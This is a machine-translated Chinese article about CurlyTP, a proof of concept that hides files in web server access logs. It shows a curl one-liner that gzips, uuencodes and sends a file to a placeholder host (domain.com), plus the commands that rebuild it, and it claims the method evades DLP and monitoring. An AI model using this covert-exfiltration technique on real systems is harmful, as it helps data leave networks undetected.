通过服务器日志进行秘密消息传递

根据Wikipedia的定义,空投缓存是一种阴谋工具,用于使用秘密位置在人们之间交换信息或某种对象。 关键是人们永远不会见面-但同时交换信息,维护运营安全。

缓存不应引起注意。 因此,在离线世界中,经常使用谨慎的东西:墙上的免费砖块,图书馆的书本或树上的空洞。

Internet上有许多用于加密和匿名化的工具,但是使用这些工具的事实引起了人们的注意。 此外,它们可以在公司或州一级被阻止。 怎么办

开发人员Ryan Flowers提出了一个有趣的选择- 使用任何Web服务器作为缓存 。 如果您考虑一下,Web服务器会做什么? 它接受请求,发出文件并写入日志。 然后他将所有请求( 甚至是不正确的请求)写入日志!

事实证明,任何Web服务器都允许您将几乎所有消息保存在日志中。 花不知道如何使用它。

他提供以下选项:

  1. 我们获取一个文本文件(秘密消息)并计算哈希值(md5sum)。
  2. 我们对其进行编码(gzip + uuencode)。
  3. 我们通过向服务器发出不正确的请求来写入日志。

Local: [root@local ~]# md5sum g.txt a8be1b6b67615307e6af8529c2f356c4 g.txt [root@local ~]# gzip g.txt [root@local ~]# uuencode g.txt > g.txt.uue [root@local ~]# IFS=$'\n' ;for x in `cat g.txt.uue| sed 's/ /=+=/g'` ; do echo curl -s "http://domain.com?transfer?g.txt.uue?$x" ;done | sh 

要读取文件,您需要以相反的顺序执行以下操作:解码并解压缩文件,验证哈希(哈希可以安全地通过开放渠道传输)。

=+=替换空格,以便地址中没有空格。 该程序被作者称为CurlyTP,它使用base64编码,就像在电子邮件附件中一样。 该请求是用关键字?transfer? 这样收件人就可以在日志中轻松找到它。

在这种情况下,我们在日志中看到了什么?

 1.2.3.4 - - [22/Aug/2019:21:12:00 -0400] "GET /?transfer?g.gz.uue?begin-base64=+=644=+=g.gz.uue HTTP/1.1" 200 4050 "-" "curl/7.29.0" 1.2.3.4 - - [22/Aug/2019:21:12:01 -0400] "GET /?transfer?g.gz.uue?H4sICLxRC1sAA2dpYnNvbi50eHQA7Z1dU9s4FIbv8yt0w+wNpISEdstdgOne HTTP/1.1" 200 4050 "-" "curl/7.29.0" 1.2.3.4 - - [22/Aug/2019:21:12:03 -0400] "GET /?transfer?g.gz.uue?sDvdDW0vmWNZiQWy5JXkZMyv32MnAVNgQZCOnfhkhhkY61vv8+rDijgFfpNn HTTP/1.1" 200 4050 "-" "curl/7.29.0" 

如前所述,要接收秘密消息,您需要以相反的顺序执行操作:

 Remote machine [root@server /home/domain/logs]# grep transfer access_log | grep 21:12| awk '{ print $7 }' | cut -d? -f4 | sed 's/=+=/ /g' > g.txt.gz.uue [root@server /home/domain/logs]# uudecode g.txt.gz.uue [root@server /home/domain/logs]# mv g.txt.gz.uue g.txt.gz [root@server /home/domain/logs]# gunzip g.txt.gz [root@server /home/domain/logs]# md5sum g a8be1b6b67615307e6af8529c2f356c4 g 

该过程易于自动化。 Md5sum匹配,并且文件的内容确认所有内容均已正确解码。

该方法非常简单。 “此练习的目的仅仅是证明文件可以通过无害的小型Web请求进行传输,并且可以在具有常规文本日志的任何Web服务器上使用。 实际上,每个Web服务器都是一个缓存!

当然,该方法仅在收件人有权访问服务器日志时才有效。 但是,例如,许多主机提供了这种访问权限。

如何使用?


Ryan Flowers说他不是信息安全专家,不会列出CurlyTP的可能用途。 对他来说,这仅仅是概念的证明,我们每天看到的熟悉的工具可以以非常规的方式使用。

实际上,此方法相对于其他服务器“高速缓存”(例如Digital Dead DropPirateBox)具有几个优点:它不需要在服务器端进行特殊配置或任何特殊协议-不会引起监视流量的人的怀疑。 SORM或DLP系统不太可能会扫描URL以查找压缩的文本文件。

这是通过服务文件发送消息的一种方法。 您可以回想起一些高级公司过去如何在HTTP标头或HTML页面代码中为开发人员发布工作机会



这个想法是只有Web开发人员才能看到这样的“复活节彩蛋”,因为普通人不会查看标题或HTML代码。





Source: https://habr.com/ru/post/zh-CN465497/


All Articles